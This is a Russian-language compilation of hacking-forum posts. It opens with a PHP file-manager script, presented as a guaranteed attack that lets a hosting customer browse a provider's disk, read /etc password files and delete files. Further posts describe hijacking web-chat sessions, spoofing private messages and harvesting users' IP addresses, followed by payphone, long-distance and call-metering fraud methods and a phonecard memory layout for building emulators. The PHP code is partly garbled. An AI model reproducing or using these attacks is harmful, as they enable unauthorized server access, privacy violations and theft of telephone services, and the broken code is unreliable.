Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
function cmp( $a, $b ) //обьявляем функции
{
GLOBAL $sort; //сортируем полученные функции

if( $a->inode == $b->inode )
return 0;

switch( $sort ) //объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="";
}

class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "file."'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )
{
if( unlink( $file ) )
echo "
$file успешно удалён\n"; //сообщение об успешном удалении файла
else
echo "
Не могу удалить выставите права доступа $file\n"; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "
$file успешно удалён\n"; //сообщение об успешном удалении
else
echo "
файл недоступен для удаления$file\n"; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "\n";
echo "
Вернуться в начало\n"; //ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "
Подняться на директорию вверх; $updir\n"; //ссылка на директорию вверх
echo "
Открыть директорию: path."/..>..\n"; //обновление текущей директории
echo "
Текущая директория: ".$d->path."\n"; //показываем путь до директории и файлов, которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму управления функциями
echo "

\n";
echo "\n";
echo "\n";
echo "\n";
//echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";

@usort( $lFiles, cmp );

for( $i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to ) )
continue;

$k = $i;
echo "\n";
echo "\n";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "\n";
}
else
echo "\n";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "\n";
break;
case "file":
echo "\n";
break;
default:
echo "\n";
break;
}
echo "\n";
}

echo "

D	Type	Имя	Размер	Класс	В системе	Создан	Изменён	Размер	Группа	ow	in	Показ
	".$lFiles[ $k ]->type."	$IMG".$lFiles[ $k ]->name."	".$lFiles[ $k ]->formatSize()."	".$lFiles[ $k ]->ext ."	".date( $dform, $lFiles[ $k ]->atime )."	".date( $dform, $lFiles[ $k ]->ctime )."	".date( $dform, $lFiles[ $k ]->mtime )."	".$lFiles[ $k ]->perms."	".$lFiles[ $k ]->group."	".$lFiles[ $k ]->owner."	".$lFiles[ $k ]->inode."	". $lFiles[ $k ]->sfile."	".$lFiles[ $k ]->sfile."	". $lFiles[ $k ]->name."	".$lFiles[ $k ]->sfile."	NO

\n";

$from = $from - $step;
if( isset( $cd ) )
{
echo "\n";
}
echo "\n";

//echo "
from=$from;to=$to;n=$n\n";
echo "
\n";
if( $from >= 0 )
{
echo "Предыдущий/\n";
}
if( $to <= $n )
{
echo "Далее \n";
}
echo "
\n";
echo "\n";
echo "

\n";
?> //говорим что PHP скрипт кончился

Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.

Взлом html-чатов

xakerd — Wed, 18 Feb 2009 17:31:59 GMT

Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение.

Начал я с малого.

В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа
Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа
"First.htm"
src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">

Start.htm - это и есть тот фрейм который я сохранил и изменил

После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет взятия чужого ID'a

Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end

После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end

Где SP456789 - UserID

После этого в скрипт (spy.exe) был добавлен вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке

(Это строка взята из правого фрейма, где можно вызвать функцию "Кто в чате")

После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами.

Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя.

Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем
Ну вот и все.

With best regards, Maveric.

P.S. Ни один из этих приколов уже не работает в партизанах, т.к. это был "дружественный взлом" и обо всем, что я нашел, я рассказал создателю чата. Он все косяки исправил.

Бесплатные звонки

xakerd — Wed, 18 Feb 2009 17:18:30 GMT

Звонки по межгороду и с телефонов автоматов
Старые телефоны-автоматы. Чтобы сделать устройство для бесплатных звонков по телефону-автомату, Вам потребуется кусок проволоки сантиметров 50 и металлический крокодильчик. Подойдет тот, который держит шторы на вашем окне. С одного конца провод совокупите с крокодильчиком, с другого оголите. Чтобы бесплатно поговорить:
1) прицепите один конец провода к металлическому приемнику монет.
2) Наберите нужный номер.
3) Когда абонент возьмет трубку, и вы услышите характерный щелчок из голодного монетоприемника. Оголенный конец провода просуньте через отверстия телефонной трубки, так, чтобы он касался металлической части микрофона и не отпускайте его на протяжении всего разговора.
УВЫ: действует это меньше чем на половине телефонов автоматах, поэтому придется побродить по разным переговорным пунктам в поисках нужных аппаратов.
Есть ещё один способ. В монете или жетончике просверливается крохотное сквозное отверстие и продевается нитка. После провала монетки или жетона Вы можете вернуть его вытащив за нитку. Очень важно не изменить массу жетона при проделовании дырки. Так что дырка должна быть как можно меньше.
Звонок по межгороду с домашнего телефона. Апробировано в течение двух лет в СНГ и шесть лет в европейских странах. Этот способ можно использовать только на длинных расстояниях, то есть при междугородней связи. Суть секрета основана на очень простой идее: Вы знаете, что когда вы набираете дисковым номеронабирателем (импульсная система набора) "1", линия прерывается один раз, когда "7", линия прерывается семь раз, когда "0" - 10 раз. Я стал наблюдать, что произойдет, если линию прервать более десяти pаз. Для реализации этой идеи, я использовал мой первый компьютер (8-ми битный "Enterprise-128" который имел разъем для программного контроля магнитофона), в моем случае вместо магнитофона была подключена телефонная линия. Короче, я не буду описывать все мои исследования для краткости изложения. Волшебным был номер "15". Вот именно эти пятнадцать я и вставлял после 8. Вот так: 8 + гудок + пятнадцать + код страны + номер телефона и счета не приходят. Если Вы все поняли правильно, то должны были понять и то, что это число прерываний телефонной линии. Вот способ использования: 8+тон+волшебный номер 15+ код города + телефонный номер. Так, для бесплатного звонка в Москву по телефону 921-00-00, я набирал 8-волшебный номер 15 - 095-921-00-00. Я набирал "8" и ждал тонального сигнала для доступа на междугородную станцию, когда он приходил, я набирал 15 и тональный сигнал пропадал, тогда я набирал код города и телефонный номер. 15 это не 1 и 5, а пятнадцать прерываний телефонной сети, и если иметь достаточно выраженный музыкальный слух, то можно "нащелкать" эти 15 импульсов кнопкой "сброс" на обычном телефоне.
Способ второй: звонишь по межгороду и после набора номера и/или во время разговора на параллельном дисковом телефоне вертишь диск. На некоторых АТС сбивается номер на АОНе и счет выставляется черти кому, на других счетчик минут обнуляется при щелчках. Некоторые АТС думают, что абонент вообще трубку положил! В общем надо пробовать, но на каждой АТС свой набор глюков...
Взлом телефонных карточек.
Не так давно на Российского потребителя обрушился целый поток новых платежных средств: таксофонные карты, магнитные карты метро, банковские карты и т.д, Коснемся пока только таксофонных карт. Наверное, каждый задавался вопросом, как же устроена и как работает таксофонная карта, и можно ли ее обмануть? Ответ на второй вопрос пока умолчим, а, вот, на первый попробуем ответить в доступной и популярной форме. Поскольку, при желании наиболее общую информацию можно найти в Интернете, то разговор пойдет конкретно про Таксофонные карты компании "Санкт-Петербургские таксофоны".
Таксофонная карта соответствует международному стандарту ISO 7816 в части 1и2.
1808716-1:1987
Карточки идентификационные.
Карточки на интегральных схемах с контактами.
Часть 1. Физические характеристики.:
СТК1 код В 4с. изд.1
ISO 8716-2:1988
Карточки идентификационные.
Карточки на интегральных схемах с контактами.
Часть 2. Размеры и расположение контактов.
СТК1 код D 7с. изд.1
Кристалл на карте представляет собой электрически программируемое ПЗУ с последовательным побитным выводом информации, изготовленное по технологии NMOS. В этом ПЗУ используется 128 бит. Чтобы перепрограммировать карту, нужно стереть информацию из ПЗУ, но чип защищен от ультрафиолетового облучения специальной смолой. Даже если Вам удастся стереть чип, то нужно будет перепрограммировать специальную область производителя - первые 64 бита, а она защищена от записи плавким предохранителем, который пережигается на фабрике при производстве чипа. Основной способ обмана таксофонов - изготовление эмуляторов, т.е. устройств эмулирующих работу настоящей карты. Это довольно легко сделать на современных однокристальных микроЭВМ. Основной способ защиты таксофонов от таких эмуляторов - измерение межэлектродных сопротивлений, емкостей и сравнение их с номинальными, что позволяет таксофону отличить эмулятор от настоящей карты. Расположение и назначение контактов на карте (рис. 4):

1 VCC=5V - Питание.
2 Reset (входной) - Сигнал инициализации карты.
3 Clk (входной) о Тактовые импульсы.
4 Не используется.
5 GND (земля).
6 Не используется.
7 I/O - (вход и выход) - Побитовый ввод и вывод с карты.
8 Не используется.
Все сигналы соответствуют ТТЛ уровням. Читатель должен обратить внимание, что центральная пластинка соединена с землей.
Чтение информации с карты
Внутри карточки находится счетчик адреса разрядностью 9 бит. То есть, после чтения каждых 512 бит все начинается сначала. Счетчик может быть только увеличен. Если Вы хотите считать бит с адресом меньше текущего, то счетчик нужно сбросить в 0, а затем увеличить до необходимого значения. Операция сброса выглядит так:
- сначала необходимо установить высокий уровень сигнала Reset (2 контакт карты), а затем установить и сбросить сигнал Clk. После сброса сигнала Reset на выходе (7-ой контакт карты) будет доступен бит с адресом 0. Затем нужно подавать тактовые импульсы на вход Clk (3-ий контакт карты). По фронту импульса происходит увеличение на единицу внутреннего счетчика адреса. После спада тактового импульса на выходе появляется следующий бит данных. Обычно удобнее представлять информацию в виде байтов. Для этого каждые 8 считанных бит группируют в байт, считая, что первым считывается менее значащий бит. Таким образом, последовательно считывая 1,0,0,1,0,1,1,1, получим байт ОхЕ9.
Чтение через параллельный порт компьютера
Поскольку все сигналы соответствуют уровню ТТЛ, то логично использовать для чтения информации обыкновенный принтерный порт. Не думаю, что надо приводить здесь полное техническое описание работы параллельного .порта, назначение контактов и описание портов ввода-вывода - это все можно найти в специальной технической литературе.
Аппаратные средства
Большинство аппаратных средств включают в себя некую соединительную конструкцию, состоящую из ответной части разъема параллельного порта, монтажного провода и считывающего устройства в виде обыкновенного куска текстолита с отверстиями, в которые вставлены штырьки. Контакты параллельного порта соединяются с контактами карточки в соответствии с приведенной таблицей 3.

Параллельный порт компьютера Карточка

11: Busy (входной) 7: I/O
2: D0 (выходнной) 2: Reset
25: Gnd 5: Gnd
3: D1 (выходной)
3: CLK

таб.3
В таблице 3 не указан контакт 1 карточки - питание +5В. Его можно, взять с разъема клавиатуры или просто от батарейки.
Программные средства
Используем порт LPT1. Запись в принтерный порт осуществляется через порт 0х378. Записанный байт появляется на выходных контактах. Мы используем бит 0 для сигнала Reset и бит 1 для сигнала Clk. Чтение выполняется .через порт 0х379. В самом старшем бите появится инвертированное значение с входного контакта 11 (Busy).
Что записано на карте
Мы подошли к самому интересному месту - назначению каждого бита, записанного на карте. Естественно, что на картах других городов это назначение будет другим, но мы, как обещали, говорим о питерских карточках. На карточке используются только 16 байт. Все остальные равны OxFF. В процессе исследований было считано около 300 карточек.
Примеры памяти карт
Допустим , что имеется карта на 50 единиц, и её срок действия закончился. Номер 0050415503.' Годна до 30.09.98
E9,30,FF,01,F1,E2,80,CO 00,00,00,00,00,FF,18,EA
Эта карта на 400 единиц также пуста. Номер 0400155921. Годна до 30.09.98 E9,30,FF,01,88,A7,9B,E8 Карта на 1000 единиц. Осталось 998. Номер 1000013039.
Годна до 31.12.99
E9,30,FF,01,F7,3F,59,DC
00,01,7F,OF,3F,FF,68,6B
Допустим, что по этой карте был произведен звонок. Осталось 6 единиц.
E9,30,FF,01,F7,3F,59,DC
00,00,00,00,3F, FP, 68,6В
Ещё звонок, и она закончилась.
Е9. 30, FF,01, F7,3F,59, DC
00,00,. 00.00.00. FF. 68.6В
Назначение полей
1. Первые 4 байта какой то идентификатор. На всех картах E9,30,FF,01.
2 Следующие 4 байта - серийный номер карты. Расположив биты в байтах в обратном порядке, а затем и сами байты, получим 32 разрядное целое без знака. К примеру, байты F7, 3F, 59, DC с обратным порядком бит выглядят как EF, FC, 9A, 3В. Получим номер карты Ox3B9AFCEF или 1000013039 в десятичном виде. Нетрудно заметить, что номер, напечатанный на карте, всегда состоит из 10 цифр, а первые 4 цифры - емкость карточки.
3. Следующие 5 байт - количество единиц, оставшихся на карточке. Формат хранения очень интересный: используется количество единичных битов в байте, начиная с младшего. Соответственно значение байта 07 соответствует 3 единицам, значение IF - пяти, a 7F - семи единицам. Максимальное количество единиц, хранящихся в байте - семь. Используется восьмеричная система счисления. Таким образом, байты 00, 01, 7F, OF, 3F соответствуют 01746 в восьмеричной системе или 998 единиц в десятичной системе. Максимальное количество единиц может выражаться числом 77777 в восьмеричной, или 32767 - в десятичной системе.
4. Следующий байт всегда равен FF. Иногда он не используется.
5. Два последних байта, по-видимому, выражают CRC или другой контрольный код для первых 8-ми постоянных байт, т.к. при расходовании единиц они не меняются, но на каждой карточке они свои. Пока их назначение не ясно. Обнаружилось, что срок годности не записан на карте. По всей видимости, он как-то связан с номером карты.
Возможно, каждому сроку годности соответствуют определенный диапазон номеров.
Как уже говорилось, из 10 цифр номера первые 4 выражают емкость карты.Оставшиеся 6 не идентифицируют карту однозначно, т.к. уже выпущено более миллиона карт. Всего при подобной системе нумерации может существовать 6 миллионов карт:
на 25 единиц с номерами от 0025000000 до 0025999999,
на 50 единиц с номерами от 0050000000 до 0050999999,
на 100 единиц с номерами от 0100000000 до 0100999999,
на 200 единиц с номерами от 0200000000 до 0200999999,
на 400 единиц с номерами от 0400000000 до 0400999999,
на 1000 единиц с номерами от 1000000000 до 1000999999.

Интернет-телефония.
Данная информация предназначена для бесплатных международных звонков при помощи Интернета. Необходимо: минимум 486sx - процессор, звуковая карта, Микрофон, колонки. Обеспечение: Win'95, Интернет соединение, Internet Phone 5.0 (можно взять на www.vocaltec.com) Service for Internet Phone 5.0 (делаете себе на www.biztrans.com; www.deltathree.com) примечание: Последние два пункта требуют кредитные карты для регистрации. Интернет вы можете достать без денег, предлагаю написать - lirik_tnt@hotmail.com там Вам всегда помогут с интернет соединением за ничтожную сумму. После того, как у вас все есть, можно приступать к настройке. Запускаете IPhone 5.0, выбираете настройку "services" и устанавливаете ваш сервис, который вы приобрели на www.biztrans.com (или еще где нибуть), а именно это: имя, пароль, и небольшой фаил. Настройка так проста что у вас на будет проблем с этим этапом. Далее после того как вы все правильно сделали, вы попадаете обратно в iphone 5.0. Теперь осталось только набрать номер, а именно a-bbb xxxxxxx где a-код страны, bbb-код города, xxxxxxx-телефон абонента. e.g. 1-301 5702045 где 1-USA, 301-код города Baltimore, 5702045 - телефон. Ждите и можете говорить сколько влезет, ни вызываемый абонент, ни вы не заплатите ни цента.
Как не платить за повременку.
Сейчас во многих городах и весях начинают вводить и экспериментировать с повременной оплатой за местные телефонные переговоры. Это просто разорительно, тем более для тех кто пользуется Интернетом.
Предлагаем опробовать следующий способ.
Известно, что при соединении абонентов, напряжение в телефонной линии падает с 60 В до 5...8 В. Именно при данном напряжении включается детектор состояния линии и АТС начинает начислять за разговор денежки.
Предлагаемая схема может работать не зависимо от того, местное или междугороднее соединение происходит.
Однако, пока второй абонент не снял трубку напряжение в линии еще слишком высокое для срабатывания схемы. Таким образом, пока вы слышите сигнал вызова, деньги еще не начисляются, хотя реально соединение уже произошло.
Все, что для этого нужно сделать - предотвратить падение напряжения в линии после снятия трубки вторым абонентом, удерживая его в пределах 21....36 В. Для этого применяется простейшая схема:
Для увеличения падения напряжения на стороне абонента, служит стабилитрон с напряжением стабилизации 12....30 В. Конденсатор, включенный параллельно стабилитрону служит для прохождения разговорного переменного тока, что повышает громкость разговора. Можно обойтись без диодного моста, но тогда устройство надо включать в соответствии с полярностью телефонной линии. Если вы используете модем, то для более четкой его работы можно зашунтировать диоды моста конденсаторами по 0,1 мкФ. Для голоса они не потребуются.
Напряжение (тип) стабилитрона подбирается экспериментально в зависимости от конкретной АТС. Начните с большего напряжения. Уменьшайте его лишь до тех пор, пока станция не перестанет отрабатывать прекращение индукторного вызова. Дело в том, что оборудование определения состояния АТС имеет технологический "зазор" между напряжением прекращения вызова и разговорным напряжением для четкого срабатывания. Напряжение получившееся в результате подбора стабилитрона, должно как раз находиться посередине этого зазора. Таким образом, вызывная схема отключается, а схема счета времени еще не включается, что позволяет разговаривать бесплатно.
АТС в это время думает, что второй абонент еще не снял трубку своего аппарата, а первый терпеливо ожидает, когда второй наконец проснется.
Схема работает и на межгороде!
Звоните на здоровье!